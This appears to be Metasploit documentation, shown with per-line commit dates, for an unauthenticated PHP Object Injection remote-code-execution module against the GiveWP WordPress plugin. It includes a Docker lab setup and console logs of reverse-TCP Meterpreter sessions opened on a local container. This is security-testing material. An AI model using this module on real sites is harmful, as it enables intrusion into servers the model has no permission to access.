2024-08-27 19:50:35 +02:00
|
|
|
## Vulnerable Application
|
|
|
|
|
|
|
|
|
|
This Metasploit module exploits an unauthenticated PHP Object Injection vulnerability in the
|
|
|
|
|
GiveWP plugin for WordPress (versions <= 3.14.1).
|
|
|
|
|
The vulnerability is present in the 'give_title' parameter, allowing attackers to inject a crafted
|
2024-08-28 13:00:32 +02:00
|
|
|
PHP object leading to remote code execution (RCE) when combined with a suitable POP chain.
|
2024-08-27 19:50:35 +02:00
|
|
|
|
|
|
|
|
## Setup
|
|
|
|
|
|
2024-08-28 19:21:27 +01:00
|
|
|
1. **Docker Compose Setup**: Create the following `docker-compose.yml` file to set up a vulnerable WordPress environment:
|
2024-08-27 19:50:35 +02:00
|
|
|
|
|
|
|
|
```yaml
|
|
|
|
|
services:
|
|
|
|
|
db:
|
|
|
|
|
image: mysql:8.0.27
|
|
|
|
|
command: '--default-authentication-plugin=mysql_native_password'
|
|
|
|
|
restart: always
|
|
|
|
|
environment:
|
|
|
|
|
- MYSQL_ROOT_PASSWORD=somewordpress
|
|
|
|
|
- MYSQL_DATABASE=wordpress
|
|
|
|
|
- MYSQL_USER=wordpress
|
|
|
|
|
- MYSQL_PASSWORD=wordpress
|
|
|
|
|
expose:
|
|
|
|
|
- 3306
|
|
|
|
|
- 33060
|
|
|
|
|
|
|
|
|
|
wordpress:
|
|
|
|
|
image: wordpress:6.3.2
|
|
|
|
|
ports:
|
|
|
|
|
- "80:80"
|
|
|
|
|
restart: always
|
|
|
|
|
environment:
|
|
|
|
|
- WORDPRESS_DB_HOST=db
|
|
|
|
|
- WORDPRESS_DB_USER=wordpress
|
|
|
|
|
- WORDPRESS_DB_PASSWORD=wordpress
|
|
|
|
|
- WORDPRESS_DB_NAME=wordpress
|
|
|
|
|
volumes:
|
|
|
|
|
db_data:
|
|
|
|
|
```
|
2024-08-28 19:21:27 +01:00
|
|
|
1. Run Docker: `docker compose up`
|
2024-10-02 19:53:20 +02:00
|
|
|
2. Access the WordPress instance at `http://127.0.0.1` and complete the installation process.
|
|
|
|
|
3. **Download and Install Vulnerable GiveWP Plugin**:
|
|
|
|
|
- Download the plugin: [GiveWP 3.16.1](https://downloads.wordpress.org/plugin/give.3.16.1.zip)
|
2024-08-27 19:50:35 +02:00
|
|
|
- Unzip the plugin and copy it to the Docker container:
|
|
|
|
|
```bash
|
2024-08-28 19:21:27 +01:00
|
|
|
docker compose cp give wordpress:/var/www/html/wp-content/plugins
|
2024-08-27 19:50:35 +02:00
|
|
|
```
|
|
|
|
|
- Access the WordPress instance at `http://localhost` and activate the GiveWP plugin via the admin dashboard.
|
|
|
|
|
|
2024-10-02 19:53:20 +02:00
|
|
|
4. **Create a Donation Form**:
|
|
|
|
|
- Navigate to the "Forms" section within the GiveWP plugin and click on "Add Form."
|
|
|
|
|
- Select any form.
|
|
|
|
|
- Configure the form as needed, then publish it.
|
|
|
|
|
|
|
|
|
|
*Note: Depending on the vulnerability you want to test, using an older version like 3.14.1 may also be applicable.*
|
|
|
|
|
|
|
|
|
|
|
2024-08-27 19:50:35 +02:00
|
|
|
## Options
|
|
|
|
|
|
|
|
|
|
No specific options need to be configured.
|
|
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
|
|
|
|
1. Start `msfconsole`.
|
|
|
|
|
2. Use the module with `use exploit/multi/http/wp_givewp_rce`.
|
|
|
|
|
3. Set `RHOSTS`, `RPORT`, and the necessary WordPress-specific options.
|
|
|
|
|
4. Run the exploit.
|
|
|
|
|
5. Gain a Meterpreter session.
|
|
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
|
2024-10-02 19:56:22 +02:00
|
|
|
### GiveWP Plugin version: 3.14.1 (Dockerized WordPress Version 6.5.3)
|
2024-08-27 19:50:35 +02:00
|
|
|
|
|
|
|
|
Using `cmd/linux/http/x64/meterpreter/reverse_tcp`:
|
|
|
|
|
|
|
|
|
|
```bash
|
2025-07-17 09:53:40 +01:00
|
|
|
msf exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:5555
|
2024-08-27 19:50:35 +02:00
|
|
|
|
2024-10-02 19:53:20 +02:00
|
|
|
[*] Started reverse TCP handler on 192.168.1.36:1337
|
2024-08-27 19:50:35 +02:00
|
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
2024-10-02 19:53:20 +02:00
|
|
|
[*] WordPress Version: 6.5.3
|
2024-08-27 19:50:35 +02:00
|
|
|
[+] Detected GiveWP Plugin version: 3.14.1
|
2024-10-02 19:53:20 +02:00
|
|
|
[+] Vulnerable to both CVE-2024-5932 and CVE-2024-8353 (bypass).
|
|
|
|
|
[+] The target appears to be vulnerable.
|
|
|
|
|
[+] Successfully retrieved form list. Available Form IDs: 45
|
|
|
|
|
[*] Using Form ID: 45 for exploitation.
|
|
|
|
|
[*] Sending stage (3045380 bytes) to 172.18.0.3
|
|
|
|
|
[*] Meterpreter session 5 opened (192.168.1.36:1337 -> 172.18.0.3:45656) at 2024-10-02 19:51:31 +0200
|
|
|
|
|
|
|
|
|
|
meterpreter > sysinfo
|
|
|
|
|
Computer : 172.18.0.3
|
|
|
|
|
OS : Debian 11.8 (Linux 5.15.0-122-generic)
|
|
|
|
|
Architecture : x64
|
|
|
|
|
BuildTuple : x86_64-linux-musl
|
|
|
|
|
Meterpreter : x64/linux
|
|
|
|
|
meterpreter >
|
|
|
|
|
```
|
|
|
|
|
|
2024-10-02 19:56:22 +02:00
|
|
|
### GiveWP Plugin version: 3.16.1 (Dockerized WordPress Version 6.5.3)
|
2024-10-02 19:53:20 +02:00
|
|
|
|
|
|
|
|
```bash
|
2025-07-17 09:53:40 +01:00
|
|
|
msf exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:5555
|
2024-10-02 19:53:20 +02:00
|
|
|
|
|
|
|
|
[*] Started reverse TCP handler on 192.168.1.36:1337
|
|
|
|
|
[*] Running automatic check ("set AutoCheck false" to disable)
|
|
|
|
|
[*] WordPress Version: 6.5.3
|
|
|
|
|
[+] Detected GiveWP Plugin version: 3.16.1
|
|
|
|
|
[+] Vulnerable to CVE-2024-8353 (bypass).
|
2024-08-27 19:50:35 +02:00
|
|
|
[+] The target appears to be vulnerable.
|
2024-10-02 19:53:20 +02:00
|
|
|
[+] Successfully retrieved form list. Available Form IDs: 38
|
|
|
|
|
[*] Using Form ID: 38 for exploitation.
|
|
|
|
|
[*] Sending stage (3045380 bytes) to 172.18.0.3
|
|
|
|
|
[*] Meterpreter session 4 opened (192.168.1.36:1337 -> 172.18.0.3:49380) at 2024-10-02 19:49:39 +0200
|
2024-08-27 19:50:35 +02:00
|
|
|
|
|
|
|
|
meterpreter > sysinfo
|
2024-10-02 19:53:20 +02:00
|
|
|
Computer : 172.18.0.3
|
|
|
|
|
OS : Debian 11.8 (Linux 5.15.0-122-generic)
|
2024-08-27 19:50:35 +02:00
|
|
|
Architecture : x64
|
|
|
|
|
BuildTuple : x86_64-linux-musl
|
|
|
|
|
Meterpreter : x64/linux
|
2024-10-02 19:53:20 +02:00
|
|
|
meterpreter >
|
2024-08-27 19:50:35 +02:00
|
|
|
```
|